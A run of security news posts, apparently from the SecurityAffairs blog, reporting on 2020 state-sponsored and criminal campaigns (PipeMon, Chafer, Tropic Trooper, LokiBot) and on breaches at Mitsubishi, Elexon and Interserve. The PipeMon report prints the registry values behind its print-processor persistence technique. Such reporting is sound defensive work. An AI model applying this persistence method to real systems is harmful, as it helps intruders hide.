Below the Indicators of Compromise (IoCs) shared by Microsoft:

Below a list or recommendations to avoid this threat:

  • Keep your anti-virus software up to date.
  • Search for existing signs of the threat using IoCs in your environment.
  • Keep applications and operating systems running and up to date.
  • Be vigilant with attachments and links in emails.

Pierluigi Paganini

(SecurityAffairs – COVID-19, hacking)

The post Microsoft warns of “massive campaign” using COVID-19 themed emails appeared first on Security Affairs.

Winnti uses a new PipeMon backdoor in attacks aimed at the gaming industry

The Winnti hacking group continues to target gaming industry, recently it used a new malware named PipeMon and a new method to achieve persistence.

Winnti hacking group is using a new malware dubbed PipeMon and a novel method to achieve persistence in attacks aimed at video game companies.

The Winnti group was first spotted by Kaspersky in 2013, but according to the researchers the gang has been active since 2007.

The experts believe that under the Winnti umbrella there are several APT groups, including  Winnti, Gref, PlayfullDragon, APT17, DeputyDog, Axiom, BARIUM, LEADPassCV, Wicked Panda, Group 72, Blackfly, and APT41, and ShadowPad.

The APT group targeted organizations in various industries, including the aviation, gaming, pharmaceuticals, technology, telecoms, and software development industries.

PipeMon is a modular backdoor that was spotted by ESET researchers earlier this year on servers belonging to several developers of massively multiplayer online (MMO) games from South Korea and Taiwan. Each component of the backdoor is implemented by a DLL.

“In February 2020, we discovered a new, modular backdoor, which we named PipeMon. Persisting as a Print Processor, it was used by the Winnti Group against several video gaming companies that are based in South Korea and Taiwan and develop MMO (Massively Multiplayer Online) games.” reads the report published by the company. “Video games developed by these companies are available on popular gaming platforms and have thousands of simultaneous players.”

winnti backdoor gaming

In one case analyzed by the researchers, the hackers compromised a victim’s build system, then they have planted malware inside the video game executable. In another case, the Winnti group compromised the game servers were compromised, which could have allowed the attackers to conduct several malicious actions, including the manipulation of in-game currencies for financial gain.

Experts noticed that the PipeMon backdoor was signed with a certificate belonging to a video game company that was already hacked by Winnti in 2018.

Researchers also reported that the threat actors reused some C2 domains involved in other campaigns and used a custom login stealer that was previously associated with Winnti operations.

The experts discovered two PipeMon variants, but they were able to describe the infection process and how it has achieved persistence only for one of them.

The first stage of the PipeMon backdoor consists of a password-protected RARSFX executable embedded in the .rsrc section of its launcher.

The hackers achieved persistence by using the Windows print processors (DLLs). A malicious DLL‌ loader drops where the print processors reside and registered as an alternative print processor by modifying one of the two registry values:

HKLM\SYSTEM\ControlSet001\Control\Print\Environments\Windows x64\Print Processors\PrintFiiterPipelineSvc\Driver = “DEment.dll”
HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\lltdsvc1\Driver = “EntAppsvc.dll”

After having registered the Print Processor, PipeMon restarts the print spooler service (spoolsv.exe) to load the malware.

Since the service starts every time the computer reboot, the attackers have achieved persistence.

“After having registered the Print Processor, PipeMon restarts the print spooler service (spoolsv.exe). As a result, the malicious print process is loaded when the spooler service starts. Note that the Print Spooler service starts at each PC startup, which ensures persistence across system resets.” continues the report.

“This technique is really similar to the Print Monitor persistence technique (being used by DePriMon, for example) and, to our knowledge, has not been documented previously.”

PipeMon modules are DLLs exporting a function called IntelLoader and are loaded using a reflective loading technique.

The loader, responsible for loading the main modules (ManagerMain and GuardClient) is Win32CmdDll.dll and is stored in the Print Processors directory. Experts noticed that modules are stored encrypted on disk at the same location with inoffensive-looking names.

Experts also spotted an updated version of PipeMon for which they were able to retrieve the first stage. Its architecture is highly similar to the original variant, but its code was rewritten from scratch.

“Once again, the Winnti Group has targeted video game developers in Asia with a new modular backdoor signed with a code-signing certificate likely stolen during a previous campaign and sharing some similarities with the PortReuse backdoor. This new implant shows that the Winnti Group is still actively developing new tools using multiple open source projects; they don’t rely solely on their flagship backdoors, ShadowPad and the Winnti malware.” concludes ESET.

Pierluigi Paganini

(SecurityAffairs – Winnti, hacking)

The post Winnti uses a new PipeMon backdoor in attacks aimed at the gaming industry appeared first on Security Affairs.

Tens of thousands Israeli websites defaced

Thousands of Israeli websites have been defaced earlier today, hackers published an anti-Israeli message on their homepage and attempted to implant malicious code.

A massive hacking campaign defaced thousands of Israeli websites, attackers published an anti-Israeli message on their homepage and attempted to inject a malware seeking permission to access visitors’ webcams.

“Be ready for a big surprise” “The countdown of Israel destruction has begun since a long time ago,” reads the message published in in Hebrew and English on the defaced Israeli websites.

A video published by the hackers shows explosions in Tel Aviv and a battered and bloodied Prime Minister Benjamin Netanyahu swimming away from a burning city.

The hackers also added a link on some websites, asking users to click on the link and activate their camera

The list of hacked websites belong to local municipalities, several NGOs, popular restaurant chains, and a left-wing Member of parliament.

The attacks were carried out by a group calling itself the “Hackers of Saviour” most of the hacked websites were hosted on the Israeli WordPress hosting service uPress. The hacker group’s YouTube channel describes the crew as collective seeking on avenging Israel’s policy on the Palestinian situation.

“Early this morning we detected a widespread cyber attack against many websites stored on our servers. It is a case of a malicious and far-ranging attack carried out by anti-Israel (Iranian) sources. We detected a weakness in a WordPress add on that enabled the hack and are working closely with the National Cyber Bureau to research the breach and fix the affected sites.” reads a statement from the company sent to Ynet News.

The hosting provider confirmed the attack and revealed that the hackers exploited a vulnerability in a WordPress plugin to compromise the Israeli websites. Below the message published by the company on Facebook:

הודעת עדכון: לקוחות יקרים, היום בשעה מוקדמת זיהנו מתקפת סייבר רחבת היקף על אתרים רבים שמאוחסנים אצלנו. מדובר במתקפה…

Gepostet von ‎אחסון וורדפרס – uPress‎ am Donnerstag, 21. Mai 2020

The company said it was working with Israeli authorities to investigate the hack. uPress also took down all defaced websites and pulled the file hackers were exploiting. The company is working to restore all the defaced websites.

“The Israel National Cyber Bureau, the government agency tasked with protecting Israel from hacking attacks confirmed that “a host of Israeli websites were hacked in the morning hours in a suspected Iranian cyber-attack.”” reported the website Calcalistech.

“The matter is being handled by the Bureau. We recommend users refrain from pressing any links on compromised sites,”.

The hosting provider reported the incident to the authorities that launched an investigation into the attacks.

The Israeli National Cyber-Directorate (INCD), the Israeli cyber-security agency, warned users against visiting and interacting with the hacked websites.

Israeli press outlets blame Iranian hackers for the attacks, but at the time there is no concrete evidence to support this attribution.

Pierluigi Paganini

(SecurityAffairs – Israeli websites, hacking)

The post Tens of thousands Israeli websites defaced appeared first on Security Affairs.

Iran-linked Chafer APT group targets governments in Kuwait and Saudi Arabia

Cybersecurity researchers uncovered an Iranian cyber espionage campaign conducted by Chafer APT and aimed at critical infrastructures in Kuwait and Saudi Arabia.

Cybersecurity researchers from Bitdefender published a detailed report on an Iranian cyber espionage campaign directed against critical infrastructures in Kuwait and Saudi Arabia.

The cyber espionage campaigns were carried out by Iran-linked Chafer APT (also known as APT39 or Remix Kitten).

The Chafer APT group has distributed data stealer malware since at least mid-2014, it was focused on surveillance operations and the tracking of individuals.

The APT group targets telecommunication and travel industries in the Middle East to gather intelligence on Iran’s geopolitical interests.

“Victims of the analyzed campaigns fit into the pattern preferred by this actor, such as air transport and government sectors in the Middle East,” reads the researcher paper published by the experts.

“Some traces indicate that the goal of the attack was data exploration and exfiltration (on some of the victim’s tools such as Navicat, Winscp, found in an unusual location, namely “%WINDOWS%\ime\en-us-ime”, or
SmartFtpPasswordDecryptor were present on their systems).”

The attackers used several tools, including ‘living off the land’ tools, making it hard to attribute the attack to specific threat actors, as well as a custom-built backdoor.

The attacks against entities in Kuwait and Saudi Arabia have multiple similarities and shares some common stages, but experts noticed that the attacks seem more focused and sophisticated on victims from Kuwait.

Chafer APT launched spear-phishing attacks, the messages were used to deliver multiple backdoors that allowed them to gain a foothold, elevate their privileges, conduct internal reconnaissance, and establish persistence in the victim environment.

“Once the victims were compromised, attackers started to bring reconnaissance tools for network scanning (“xnet.exe”, “shareo.exe”) and credential gathering (as “mnl.exe” or “mimi32.exe”) or tools with multiple functionalities, such as CrackMapExec (for users’ enumeration, share listing, credentials harvesting and so on).” continues the report.

“During our investigation, on some of the compromised stations we observed some unusual behavior performed under a certain user account, leading us to believe the attackers managed to create a user account on the victims’ machine and performed several malicious actions inside the network, using that account.”

The attacks against entities in Kuwait appeared more sophisticated, attackers were creating a user account on the compromised machines and performed malicious actions inside the network, including credential harvesting with Mimikatz and lateral movements using multiple hacking tools from their arsenal.

Most of the hacking activity occurs on Friday and Saturday, coinciding with the weekend in the Middle East.

The campaign against a Saudi Arabian entity was characterized by the large use of social engineering attacks to trick the victim into executing a remote administration tool (RAT), The RAT employed in the attacks shares similarities with those used against Kuwait and Turkey.

“The case investigated in Saudi Arabia was not as elaborate, either because the attackers did not manage to further exploit the victim, or because the reconnaissance revealed no information of interest.” continues the report.

“While this attack was not as extensive as the one in Kuwait, some forensic evidence suggests that the same attackers might have orchestrated it. Despite the evidence for network discovery, we were not able to find any traces for lateral movement, most probably because threat actors were not able to find any vulnerable machines.”

The campaigns against Kuwait and Saudi Arabia demonstrate the intense cyberespionage activity carried out by Iran-linked APT groups in the Middle East. Anyway we cannot underestimate that these hacking groups are extending their range of action targeting government and organizations worldwide.

Pierluigi Paganini

(SecurityAffairs – Chafer APT, hacking)

The post Iran-linked Chafer APT group targets governments in Kuwait and Saudi Arabia appeared first on Security Affairs.

Japan suspects HGV missile data leak in Mitsubishi security breach

Japan continues to investigate a cyberattack that hit this year Mitsubishi Electric Corp., it suspects a possible leak of data including details of a prototype missile.

Japan is still investigating a cyberattack that was disclosed by Mitsubishi Electric Corp. early this year.

In January, the company disclosed a security breach that might have exposed personal and confidential corporate data, at the time, it claimed that attackers did not obtain sensitive information about defense contracts.

Mitsubishi revealed that personal data on some 8,000 people also might have been leaked.

The breach was detected almost eight months ago, on June 28, 2019, with the delay being attributed to the increased complexity of the investigation caused by the attackers deleting activity logs.

The intrusion took place on June 28, 2019, and the company launched an investigation in September 2019. Mitsubishi Electric disclosed the security incident only after two local newspapers, the Asahi Shimbun and Nikkei, reported the security breach.

Mitsubishi Electric had also already notified members of the Japanese government and the Ministry of Defense.

Now, the authorities suspect a data leak that could have exposed details of a prototype missile.

“The suspected leak involves sensitive information about a prototype of a cutting-edge high speed gliding missile intended for deployment for the defense of Japan’s remote islands amid China’s military assertiveness in the region.” states the AP press agency.

“The ministry suspects the information might have been stolen from documents sent from several defense equipment makers as part of a bidding process for the project, Mitsubishi Electric did not win the bid, Japanese media reports said.”

The advanced prototype missile was designed to be deployed in Japan’s remote islands as a deterrence to military activities conducted by China in the area.

Chief Cabinet Secretary Yoshihide Suga announced that the Defense Ministry is investigating “the possible impact of the information leak on national security.”

Mitsubishi Electric

The Defense Ministry was working on a prototype of supersonic missile known as HGV, a technology also being studied by the U.S., China, and Russia.

In January, the two media outlets attributed the cyber attack to a China-linked cyber espionage group tracked as Tick (aka Bronze Butler).

The hacker group has been targeting Japanese heavy industry, manufacturing and international relations at least since 2012,

According to the experts, the group is linked to the People’s Republic of China and is focused on exfiltrating confidential data.

The ministry suspects the information might have been stolen from documents sent from several defense equipment makers as part of a bidding process for the project, Mitsubishi Electric did not win the bid, Japanese media reports said.

Other Japanese defense contractors were hit by cyber attacks, including NEC Corp. , Pasco Corp. and Kobe Steel Ltd.

Pierluigi Paganini

(SecurityAffairs – Mitsubishi, hacking)

The post Japan suspects HGV missile data leak in Mitsubishi security breach appeared first on Security Affairs.

Hackers Target Oil Producers During COVID-19 Slump

Recent research shows that the oil industry — already experiencing difficulties due to COVID-19 — must remain abreast of threats to stay safe from hackers.

Spear-phishing is a rapidly emerging threat. It’s more specific than generic phishing attempts and often targets a single person or company. Recent research shows that the oil industry — already experiencing difficulties due to COVID-19 — must remain abreast of threats to stay safe from hackers. 

Cybercriminals Capitalizing on the Chaos

The coronavirus is forcing companies in most industries to operate substantially differently. Many may find it takes time to adjust to the changes. Others do not immediately have the resources for a major shift, such as having all employees work remotely. 

A related concern is that COVID-19 is both a new and anxiety-inducing issue. People want to learn as much as they can about it, and their haste may result in them clicking on links without thinking. Cybercriminals view these conditions as ideal for orchestrating their attacks. Data from Barracuda cybersecurity researchers identified a 667% increase in spear-phishing attacks between the end of February and the following month. 

Real-Life Examples of Spear-Phishing Attacks in the Energy Production Sector

The threat of spear-phishing for energy companies is, unfortunately, not a theoretical one. Coverage published in late April by Bitdefender illuminated a carefully executed attack. The research team found evidence of a campaign occurring March 31, whereby hackers impersonated a well-known engineering company with experience in on- and off-shore energy projects. 

The messages — which did not include many of the telltale signs of phishing like spelling and grammatical errors — asked recipients to submit equipment and materials bids for the Rosetta Sharing Facilities Project. Participants would do so on behalf of Burullus, a gas joint venture partially owned by another Egyptian state oil brand. 

The emails also contained two attachments, which were supposedly bid-related forms. Downloading them infected a user’s system with a type of trojan spyware not previously seen in other utilities industry cyberattacks. The effort targeted oil companies all over the world, from Malaysia to South Africa, in a single day. 

Bitdefender’s research team also uncovered a more geographically specific spear-phishing attempt to target the gas sector on April 12. It centered on a relatively small number of shipping companies based in the Philippines. The emails asked them to send details associated with an oil tanker vessel and contained industry-specific language. This spear-phishing campaign occurred over two days. 

The cybersecurity experts that studied these attacks stressed that, since the messages contained accurate details about real-life companies and events associated with the oil industry, the attackers took the time to research to craft maximally convincing content. 

Hackers Love Causing Severe Disruptions

Why are cyberattacks in the energy industry suddenly on the rise? One reason may stem from the way hackers often deploy tactics to cause tremendous harm to necessary services. The oil industry operates on a vast scale. For example, a company specializing in oil and gas exploration planned as much as 300,000 feet of total footage for drilling in one region during 2018. 

The ability to get such impressive outcomes undoubtedly helps oil companies. The increased scale also may make it more necessary to safeguard against cyberattacks, especially as criminals look for ways to cause the most damage. Another recent incident, announced in a United States government alert on February 18, shut down a natural gas compression facility. Operations stopped for two days, causing losses in productivity and revenue. 

Although the publication did not name the energy company, it mentioned that the hackers depended on spear-phishing to get the credentials necessary for entering the businesses’ information technology (IT) network. It then used that access to wreak havoc on the enterprise’s operational technology infrastructure. 

Not a New Concern

Utilities industry cyberattacks have long worried cybersecurity analysts. If concentrated efforts from hackers shut down the electric grid, the effects could be long-lasting and hit virtually every industry and consumer in the affected areas. The risks to the energy sector began before the coronavirus pandemic, too. 

In November 2019, cybersecurity publications discussed a ransomware attack on Petróleos Mexicanos, Mexico’s largest oil and gas company. The perpetrators asked for 562 bitcoins to restore the data. The affected enterprise did not comply, and it had important data backed up. 

Toll Group, an Australian transportation and logistics company with oil and gas companies as clients, suffered a ransomware attack this spring. It was the second such issue in four months, with the first happening in February. 

The Energy Industry Must Remain Vigilant

The challenges posed by COVID-19 and its effect on oil prices may make the respective parties feel the impacts of cyberattacks in the energy industry more acutely. An ideal aim is to prevent those events rather than dealing with the damage afterward. Paying attention to cybersecurity vulnerabilities can help companies make meaningful gains and stay protected.

About the author

Kayla Matthews is a technology and cybersecurity writer, and the owner of To learn more about Kayla and her recent projects, visit her About Me page.

Pierluigi Paganini

(SecurityAffairs – COVID-19, hacking)

The post Hackers Target Oil Producers During COVID-19 Slump appeared first on Security Affairs.

A bug in Edison Mail iOS app impacted over 6,400 users

A security bug in the iOS app has impacted over 6,400 Edison Mail users, the issue allowed some users to access other people’s email accounts.

An update released for iOS application of the Edison Mail introduced a security bug that resulted in some users being given access to other people’s email accounts.

“On Friday, May 15th, 2020, a software update enabled users to manage accounts across their Apple devices. This update caused a technical malfunction that impacted approximately 6,480 Edison Mail iOS users. The issue only impacted a fraction of our iOS app users (and no Android or Mac users were affected). This temporary issue was a bug, and not related to any external security issues.” reads a post published by the company.

“Data from these individual’s impacted email accounts may have been exposed to another user. No passwords were compromised. “

The Edison Mail app allows users to manage their Gmail, Yahoo, Outlook, iCloud, and other email services in a single place. The company offers apps for iOS, Android and macOS, and says its products are used by millions of individuals.

edison mail assistant-ios

The update was rolled out on May 15, it included a feature that allows users to manage their accounts across their Apple devices.

Shortly after the patch was released, some users started reporting they could access other people’s email accounts from the iOS app without authentication.

Edison quickly solved the issue, the company confirmed that the bug potentially impacted 6,480 iOS users.

Edison Mail also confirmed that user credentials were not exposed.

The company addressed the issue with two updates, the first one on Saturday that prevented impacted users from accessing any account from the Edison app, the second one on Sunday morning, which re-enabled access for impacted users.

“A new version of the application was made available early Sunday morning in the App Store that restores full functionality for these 6,480 users. Other users were not impacted and no action is required.” added the company.

“We have notified all individual users who may have been impacted by this issue via email, and as an additional safety precaution, suggested that impacted users also change their email account password. If you did not receive an email on this issue then your account was not impacted,”

Pierluigi Paganini

(SecurityAffairs – Edison Mail, hacking)

The post A bug in Edison Mail iOS app impacted over 6,400 users appeared first on Security Affairs.

Elexon, a middleman in the UK power grid network hit by cyber-attack

Elexon, a middleman in the UK power grid network, recently reported it was hit by a cyber attack.

Elexon, a middleman in the UK power grid network, was the victim of a cyber attack, the incident impacted only affected the internal IT network, including the company’s email server, and employee laptops

“Hackers have targeted a critical part of the UK’s power network, locking staff out of its systems and leaving them unable to send or receive emails.” reads a post published by The Telegraph.

“Elexon – a key player in the energy market between power station operators and firms that supply households and businesses – said in a statement that its internal systems and company laptops had been affected by the cyberattack. It declined to give further details.”

The company manages electricity supply and demand and distributes the power around the network according to the demand.

“We are advising you that today that ELEXON’s internal IT systems have been impacted by a cyber attack. BSC Central Systems and EMR are currently unaffected and working as normal. The attack is to our internal IT systems and ELEXON’s laptops only.” reads a post published by the company on its website. “We are currently working hard to resolve this. However please be aware that at the moment we are unable to send or receive any emails.”

The company has taken down the email server in response to the attack.

According to Elexon, the systems use to manage the UK’s electricity transit were not impacted.

The company published a second message to announce that it has discovered the root cause of the incident, and that is was working to restore the internal network and employee laptops. Elexon also added that the BSC Central Systems (and their data) and EMR were not impacted and are continuing to work as normal. 

Even if the company did not reveal any details on the attack, experts speculate the involvement of a ransomware.

Experts from security firm Bad Packets reported that Elexon had been running an outdated version of Pulse Secure VPN server, if confirmed threat actors could have exploited it to access the internal network.

In January, the U.S. Department of Homeland Security’s Cybersecurity and Infrastructure Security Agency (CISA) warned organizations that attackers continue to exploit the well known Pulse Secure VPN vulnerability tracked as CVE-2019-11510.

The CVE-2019-11510 flaw in Pulse Connect Secure is a critical arbitrary file read vulnerability, it could be easily exploited by using publicly available proof-of-concept code. The flaw can be used in combination with the CVE-2019-11539 remote command injection issue gain access to private VPN networks.

In October, the UK’s National Cyber Security Centre (NCSC) reported that advanced persistent threat (APT) groups have been exploiting recently disclosed VPN vulnerabilities in enterprise VPN products in attacks in the wild. Threat actors leverage VPN vulnerabilities in Fortinet, Palo Alto Networks and Pulse Secure, to breach into the target networks.

The UK agency reported that APT groups target several vulnerabilities, including CVE-2019-11510 and CVE-2019-11539 in Pulse Secure VPN solutions, and CVE-2018-13379.

NSA also warned of multiple state-sponsored cyberespionage groups exploiting enterprise VPN Flaws

Despite Pulse Secure addressed the flaw in April, thousands of Pulse Secure VPN endpoints are yet to be fixed. In January 2020, Bad Packets reported that there were still 3,623 vulnerable Pulse Secure VPN servers, 1,233 of which were in the United States. The security firm confirmed, Elexon was still running an outdated Pulse Secure VPN installation.

The UK’s National Grid agency publicly announced that the incident did not affect electricity supply across the nation.

Pierluigi Paganini

(SecurityAffairs – Elexon, hacking)

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Microsoft is open-sourcing COVID-19 threat intelligence

Microsoft has recently announced that it has made some of its COVID-19 threat intelligence open-source. 

While the number of Coronavirus-themed attacks continues to increase increased Microsoft announced it is open-sourcing its COVID-19 threat intelligence to help organizations to repeal these threats.

“Microsoft processes trillions of signals each day across identities, endpoint, cloud, applications, and email, which provides visibility into a broad range of COVID-19-themed attacks, allowing us to detect, protect, and respond to them across our entire security stack.” reads a post published by Microsoft. “Today, we take our COVID-19 threat intelligence sharing a step further by making some of our own indicators available publicly for those that are not already protected by our solutions. “

Sharing information could offer the community a more complete view of attackers’ tactics, techniques, and procedures.

Microsoft experts have already been sharing examples of malicious lures and have provided guided hunting of COVID-themed attacks through Azure Sentinel Notebooks.

COVID malspam

Microsoft is going to publicly release some of its threat indicators, the company pointed out that its users are already protected against these attacks by Microsoft Threat Protection (MTP).

Microsoft has made available the indicators both in the Azure Sentinel GitHub repo, and through the Microsoft Graph Security API.

“These indicators are now available in two ways. They are available in the Azure Sentinel GitHub and through the Microsoft Graph Security API. For enterprise customers who use MISP for storing and sharing threat intelligence, these indicators can easily be consumed via a MISP feed.” continues Microsoft.

“This threat intelligence is provided for use by the wider security community, as well as customers who would like to perform additional hunting, as we all defend against malicious actors seeking to exploit the COVID crisis.”

This is just the beginning of the threat intelligence sharing of Coronavirus-related IOCs that will be offered through the peak of the outbreak.

Microsoft is releasing file hash indicators related to malicious email attachments employed in the campaigns. 

Azure Sentinel customers can import the indicators using a Playbook or access them directly from queries. Microsoft added that both Office 365 ATP and Microsoft Defender ATP already block the attacks associated with the above indicators.

Pierluigi Paganini

(SecurityAffairs – Coronavirus, hacking)

The post Microsoft is open-sourcing COVID-19 threat intelligence appeared first on Security Affairs.

Chinese APT Tropic Trooper target air-gapped military Networks in Asia

Chinese threat actors, tracked as Tropic Trooper and KeyBoy, has been targeting air-gapped military networks in Taiwan and the Philippines.

Chinese APT group Tropic Trooper, aka KeyBoy, has been targeting air-gapped military networks in Taiwan and the Philippines, Trend Micro researchers reported.

The Tropic Trooper APT that has been active at least since 2011, it was first spotted in 2015 by security experts at Trend Micro when it targeted government ministries and heavy industries in Taiwan and the military in the Philippines.

The threat actor targeted government offices, military, healthcare, transportation, and high-tech industries in Taiwan, the Philippines, and Hong Kong.

Since December 2014, the threat actors are using a malware dubbed USBferry in attacks against military/navy agencies, government institutions, military hospitals, and also a national bank.

“Recently, we discovered the Tropic Trooper group targeting Taiwanese and the Philippine military’s physically isolated environment using a USBferry attack (the name derived from a sample found in a related research).” reads the analysis published by Trend Micro. “USBferry has variants that perform different commands depending on specific targets; it can also combine capabilities, improve its stealth in infected environments, and steal critical information through USB storage”

Tropic Trooper

The USBferry USB malware could execute various commands on specific the infected system and allow to exfiltrate sensitive data through USB storage.

According to Trend Micro’s telemetry, attacks that employ USBferry attack are ongoing since December 2014 and has been targeting military or government users located in Asia.

The malware was first mentioned in a PwC report that attributes it to Tropic Trooper APT, but that did not include a detailed analysis.

The attackers would first target organizations related to military or government that implements fewer security measures compared with the real targets, then they attempt to use them as a proxy to the final target. In one case, the hackers compromised a military hospital and used it to move to the military’s physically isolated network.

Trend Micro researchers identified at least three versions of the malware with different variants and components.”

“Tropic Trooper uses the old way of achieving infection: by ferrying the installer into an air-gapped host machine via USB.” continues the report. “They employ the USB worm infection strategy using the USB device to carry the malware into the target’s computer and facilitate a breach into the secure network environment.”

The group used “tracert” and “ping” commands to map the target’s network
architecture (i.e. “tracert -h 8” collects the route (path) and measures transit delays of packets across an Internet Protocol (IP) network, while pings allow testing the target network’s connectivity).

The attackers attempted to determine if the infected machine has access to the internal network and the target mail portal.

In the absence of network connectivity, the malware collects information from the machine and copy the data to the USB drive.

The experts also discovered that the hackers use different backdoors in a recent attack, including WelCome To SvchostWelcome To IDShell, and Hey! Welcome Server.

The arsenal of the APT group includes scanning tools, a command-line remote control listener/port relay tool, and backdoor payload/steganography payload execution loaders.

“This targeted attack operation can be broken down into four important points.” concludes the report. “First, putting critical data in physically isolated networks is not an overarching solution for preventing cyberespionage activities. Second, their preferred technique of steganography isn’t just used to deliver payloads, but also for sending information back to the C&C server. Third, several hacking tools and components can be used to fulfill attacks in different target networks and environments. These tools and components also have a selfdelete command to make it tricky to trace the attack chain and all the related factors. Lastly, using an invisible web shell hides their C&C server location and makes detecting malicious traffic more difficult for network protection products

Pierluigi Paganini

(SecurityAffairs – Tropic Trooper, hacking)

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Interserve UK defense contractor hacked, up to 100,000 past and present employees details exposed

Britain’s Ministry of Defence contractor Interserve has been hacked, intruders have stolen up to 100,000 past and present employees’ details.

Interserve, a contractor for the Britain’s Ministry of Defence suffered a security breach, hackers have stolen up to 100,000 of past and current employees details. The company currently has around 53,000 employees. Stolen data includes payment information and details of their next of kin.

“Outsourcing group Interserve is recovering from a cyberattack which took place over the weekend that may have seen the details of up to 100,000 people stolen.” reported The Telegraph.

“Hackers broke into a human resources database owned by the outsourcing firm, which recently helped build the Birmingham Nightingale Hospital, on May 9 and stole information on current and former Interserve employees, a company insider said.”

Attackers might have accessed to names, addresses, bank details, payroll information, next of kin details, HR records, dates of absences, and pension information.

The security breach took place early May, at the time there are no details about the attack and it is unclear the number of affected individuals.

“Interserve was the target of a cyber security attack earlier this month.” reads a press release published by the company on its website.

“Interserve is working closely with the National Cyber Security Centre (NCSC) and Strategic Incident Response teams to investigate, contain and remedy the situation. This will take some time and some operational services may be affected. Interserve has informed the Information Commissioner (ICO) of the incident. We will provide further updates when appropriate.”

The defense contractor is investigating the incident with the help of the National Cyber Security Centre.

According to the defense contractor’s website, Interserve is present on 35 MoD sites, the company also announced that it is supporting the NHS during COVID-19.

Pierluigi Paganini

(SecurityAffairs – data breach, hacking)

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China-linked hackers are attempting to steal COVID-19 Vaccine Research

US authorities warned healthcare and scientific researchers that China-linked hackers were attempting to steal COVID-19 vaccine research.

US authorities warned healthcare and scientific researchers that China-linked hackers were attempting to steal research related to treatments and vaccines for COVID-19.

“The Federal Bureau of Investigation (FBI) and Cybersecurity and Infrastructure Security Agency (CISA) are issuing this announcement to raise awareness of the threat to COVID-19-related research. The FBI is investigating the targeting and compromise of U.S. organizations conducting COVID-19-related research by PRC-affiliated cyber actors and non-traditional collectors.” reads the joint alert. “These actors have been observed attempting to identify and illicitly obtain valuable intellectual property (IP) and public health data related to vaccines, treatments, and testing from networks and personnel affiliated with COVID-19-related research.”

“The F.B.I. and the Department of Homeland Security are preparing to issue a warning that China’s most skilled hackers and spies are working to steal American research in the crash effort to develop vaccines and treatments for the coronavirus. The efforts are part of a surge in cybertheft and attacks by nations seeking advantage in the pandemic.” reported The New York Times.

“These actors have been observed attempting to identify and illicitly obtain valuable intellectual property and public health data related to vaccines, treatments, and testing from networks and personnel affiliated with COVID-19-related research,” reads a statement from the FBI and the CISA.

“China’s efforts to target these sectors pose a significant threat to our nations response to COVID-19”.

The US agencies recommend targeted organizations to adopt cybersecurity best practices to prevent state-sponsored hackers from stealing COVID-19-related material.

“What else is new with China? What else is new? Tell me. I’m not happy with China.” President Trump commented. “We’re watching it very closely,”.

“China’s long history of bad behavior in cyberspace is well documented, so it shouldn’t surprise anyone they are going after the critical organizations involved in the nation’s response to the Covid-19 pandemic,” said Christopher Krebs, the director of the Cybersecurity and Infrastructure Security Agency. He added that the agency would “defend our interests aggressively.”

The Chinese Government rejected the allegation Beijing on Monday.

“We are leading the world in COVID-19 treatment and vaccine research. It is immoral to target China with rumors and slanders in the absence of any evidence,” Foreign Affairs ministry spokesman Zhao Lijian said.

The Chinese government is not the only one interested in COVID-19 research, nation-state hackers from Russia, Iran, and North Korea are launching spear-phishing and misinformation campaigns in the attempt to target organizations and scientists involved in the vaccine research.

Last week the US and the UK issued a joint alert to warn of the rise in cyber attacks carried out by foreign states against healthcare organizations and researchers.

This is my interview on the topic at TRT World

Pierluigi Paganini

(SecurityAffairs – COVID-19, hacking)

The post China-linked hackers are attempting to steal COVID-19 Vaccine Research appeared first on Security Affairs.

Crooks continues to use COVID-19 lures, Microsoft warns

Microsoft discovered a new phishing campaign using COVID-19 lures to target businesses with the infamous LokiBot information-stealer.

Microsoft has discovered a new COVID-19 themed phishing campaign targeting businesses with the LokiBot Trojan.

Lokibot was already employed in Coronavirus-themed campaigns, early of April, security experts at FortiGuard Labs discovered phishing attacks using alleged messages from the World Health Organization (WHO) to deliver the LokiBot trojan.

COVID-19 themed phishing campaigns recently observed by Microsoft was using messages with subject lines like “BUSINESS CONTINUITY PLAN ANNOUNCEMENT STARTING MAY 2020.”

The LokiBot data stealer is able to collect information from tens of different web browsers, access to browsing data, locate the credentials for more than 15 different email and file transfer clients, and check for the presence of popular remote admin tools like SSH, VNC and RDP.

One of the phishing campaigns observed by Microsoft sees attackers pretending to be from the Centers for Disease Control (CDC), the messages promise latest information on the COVID-19 pandemic and a new “BUSINESS CONTINUITY PLAN ANNOUNCEMENT STARTING MAY 2020”.

Another campaign use messages that pretend to be from a vendor asking for updated banking information to process payments due to the COVID-19 virus lockdown.

The emails in both campaigns use ARJ attachments that contain malicious executables disguised as PDF files.

The choice of password-protected ARJ files aims at bypassing some security solutions. Upon opening the enclosed files, the infection process will start to finally deliver the LokiBot Trojan.

Microsoft pointed out that its Microsoft Threat Protection’s machine learning algorithms were able to detect the campaign, Microsoft users are automatically protected by the Microsoft Defender.

“Microsoft Defender’s advanced detection technologies, including behavior learning and machine learning, started blocking this attack right away. We used deeper analysis of the blocked attacks, which helped us to identify the end-to-end campaign detailed,” Tanmay Ganacharya, director of security research of Microsoft Threat Protection, told BleepingComputer.

“We see a lot of benefits of leveraging machine learning and we are in a very unique position here at Microsoft because of the quality and diversity of our 8.2 trillion signals we process daily through the Microsoft Intelligent Security Graph.” 

Pierluigi Paganini

(SecurityAffairs – COVID-19, hacking)

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